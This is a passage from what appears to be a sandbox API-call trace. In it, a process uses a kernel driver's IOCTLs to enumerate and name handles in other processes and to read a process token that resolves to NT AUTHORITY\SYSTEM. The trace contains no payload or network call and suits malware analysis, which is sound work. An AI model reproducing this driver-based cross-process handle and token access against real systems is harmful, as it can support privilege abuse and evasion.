ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8003857044, ReturnLength=0xfffff88004f09508) returned 0x0 [0103.785] ObfDereferenceObject (Object=0xfffffa80030581b0) returned 0x1 [0103.785] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.785] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.785] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.785] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0103.785] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.785] PsAcquireProcessExitSynchronization () returned 0x0 [0103.785] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff88004f095d0) [0103.785] ObReferenceObjectByHandle (in: Handle=0xec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003093dd0, HandleInformation=0x0) returned 0x0 [0103.785] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.785] PsReleaseProcessExitSynchronization () returned 0x2 [0103.785] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0103.785] ObQueryNameString (in: Object=0xfffffa8003093dd0, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.785] ObfDereferenceObject (Object=0xfffffa8003093dd0) returned 0x1 [0103.786] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.786] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.786] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.786] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0103.786] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.786] PsAcquireProcessExitSynchronization () returned 0x0 [0103.786] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff88004f095d0) [0103.786] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003093b30, HandleInformation=0x0) returned 0x0 [0103.786] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.786] PsReleaseProcessExitSynchronization () returned 0x2 [0103.786] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0103.786] ObQueryNameString (in: Object=0xfffffa8003093b30, ObjectNameInfo=0xfffffa80024f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.786] ObfDereferenceObject (Object=0xfffffa8003093b30) returned 0x2 [0103.786] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.786] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.786] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.786] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0103.786] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.786] PsAcquireProcessExitSynchronization () returned 0x0 [0103.786] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff88004f095d0) [0103.786] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030939e0, HandleInformation=0x0) returned 0x0 [0103.786] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.786] PsReleaseProcessExitSynchronization () returned 0x2 [0103.786] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0103.786] ObQueryNameString (in: Object=0xfffffa80030939e0, ObjectNameInfo=0xfffffa8002501044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002501044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.787] ObfDereferenceObject (Object=0xfffffa80030939e0) returned 0x1 [0103.787] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.787] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.787] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.787] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0103.787] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.787] PsAcquireProcessExitSynchronization () returned 0x0 [0103.787] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff88004f095d0) [0103.787] ObReferenceObjectByHandle (in: Handle=0xf8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003093890, HandleInformation=0x0) returned 0x0 [0103.787] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.787] PsReleaseProcessExitSynchronization () returned 0x2 [0103.787] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0103.787] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88004f09508) returned 0x0 [0103.787] ObfDereferenceObject (Object=0xfffffa8003093890) returned 0x1 [0103.787] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.787] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.787] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.787] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0103.788] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.788] PsAcquireProcessExitSynchronization () returned 0x0 [0103.788] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff88004f095d0) [0103.788] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002d50dd0, HandleInformation=0x0) returned 0x0 [0103.788] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.788] PsReleaseProcessExitSynchronization () returned 0x2 [0103.788] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0103.788] ObQueryNameString (in: Object=0xfffffa8002d50dd0, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.788] ObfDereferenceObject (Object=0xfffffa8002d50dd0) returned 0x2 [0103.788] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.788] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.788] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.788] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0103.788] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.788] PsAcquireProcessExitSynchronization () returned 0x0 [0103.788] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff88004f095d0) [0103.788] ObReferenceObjectByHandle (in: Handle=0x108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003093c80, HandleInformation=0x0) returned 0x0 [0103.788] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.788] PsReleaseProcessExitSynchronization () returned 0x2 [0103.788] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0103.788] ObQueryNameString (in: Object=0xfffffa8003093c80, ObjectNameInfo=0xfffffa800250f044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800250f044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.788] ObfDereferenceObject (Object=0xfffffa8003093c80) returned 0x1 [0103.788] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.788] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.788] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.789] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0103.789] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.789] PsAcquireProcessExitSynchronization () returned 0x0 [0103.789] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff88004f095d0) [0103.789] ObReferenceObjectByHandle (in: Handle=0x10c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002d50c80, HandleInformation=0x0) returned 0x0 [0103.789] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.789] PsReleaseProcessExitSynchronization () returned 0x2 [0103.789] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0103.789] ObQueryNameString (in: Object=0xfffffa8002d50c80, ObjectNameInfo=0xfffffa80024cf044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024cf044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.789] ObfDereferenceObject (Object=0xfffffa8002d50c80) returned 0x1 [0103.789] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.789] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.789] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.789] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.789] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.789] PsAcquireProcessExitSynchronization () returned 0x0 [0103.789] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff88004f095d0) [0103.789] ObReferenceObjectByHandle (in: Handle=0x2dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002fc1a80, HandleInformation=0x0) returned 0x0 [0103.789] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.789] PsReleaseProcessExitSynchronization () returned 0x2 [0103.789] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0103.789] ObQueryNameString (in: Object=0xfffffa8002fc1a80, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.789] ObfDereferenceObject (Object=0xfffffa8002fc1a80) returned 0x2 [0103.789] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.789] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.789] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.789] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.789] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.789] PsAcquireProcessExitSynchronization () returned 0x0 [0103.789] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff88004f095d0) [0103.790] ObReferenceObjectByHandle (in: Handle=0x2e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002fc1bd0, HandleInformation=0x0) returned 0x0 [0103.790] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.790] PsReleaseProcessExitSynchronization () returned 0x2 [0103.790] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0103.790] ObQueryNameString (in: Object=0xfffffa8002fc1bd0, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.790] ObfDereferenceObject (Object=0xfffffa8002fc1bd0) returned 0x2 [0103.790] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.790] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.790] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.790] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0103.790] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.790] PsAcquireProcessExitSynchronization () returned 0x0 [0103.790] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff88004f095d0) [0103.790] ObReferenceObjectByHandle (in: Handle=0x2e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003212420, HandleInformation=0x0) returned 0x0 [0103.790] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.790] PsReleaseProcessExitSynchronization () returned 0x2 [0103.790] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0103.790] ObQueryNameString (in: Object=0xfffffa8003212420, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.790] ObfDereferenceObject (Object=0xfffffa8003212420) returned 0x2 [0103.790] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.790] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.790] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.790] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.790] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.790] PsAcquireProcessExitSynchronization () returned 0x0 [0103.790] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff88004f095d0) [0103.790] ObReferenceObjectByHandle (in: Handle=0x2f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002fc2070, HandleInformation=0x0) returned 0x0 [0103.790] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.791] PsReleaseProcessExitSynchronization () returned 0x2 [0103.791] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0103.791] ObQueryNameString (in: Object=0xfffffa8002fc2070, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.791] ObfDereferenceObject (Object=0xfffffa8002fc2070) returned 0x2 [0103.791] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.791] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.791] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.791] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.791] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.791] PsAcquireProcessExitSynchronization () returned 0x0 [0103.791] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff88004f095d0) [0103.791] ObReferenceObjectByHandle (in: Handle=0x2f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002fbd540, HandleInformation=0x0) returned 0x0 [0103.791] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.791] PsReleaseProcessExitSynchronization () returned 0x2 [0103.791] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0103.791] ObQueryNameString (in: Object=0xfffffa8002fbd540, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.791] ObfDereferenceObject (Object=0xfffffa8002fbd540) returned 0x2 [0103.791] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.791] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.791] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1e0) returned 0xc0 [0103.791] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0103.791] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8003055910, HandleInformation=0x0) returned 0x0 [0103.791] ObOpenObjectByPointer (in: Object=0xfffffa8003055910, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0103.791] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xe0 [0103.791] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa8002510600 | out: TokenHandle=0xfffffa8002510600*=0xc8) returned 0x0 [0103.791] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0103.791] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.791] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0103.792] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0103.793] CloseHandle (hObject=0xc8) returned 1 [0103.793] CloseHandle (hObject=0xc0) returned 1 [0103.793] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.793] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0103.793] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.793] PsAcquireProcessExitSynchronization () returned 0x0 [0103.793] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0) [0103.793] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800302d760, HandleInformation=0x0) returned 0x0 [0103.793] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.793] PsReleaseProcessExitSynchronization () returned 0x2 [0103.793] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xde [0103.793] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0103.793] ObfDereferenceObject (Object=0xfffffa800302d760) returned 0x1 [0103.793] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.793] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0103.794] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0103.794] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0103.794] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.794] PsAcquireProcessExitSynchronization () returned 0x0 [0103.794] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff88004f095d0) [0103.794] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089fcde0, HandleInformation=0x0) returned 0x0 [0103.794] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.794] PsReleaseProcessExitSynchronization () returned 0x2 [0103.794] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xde [0103.794] ObQueryNameString (in: Object=0xfffff8a0089fcde0, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fc044, 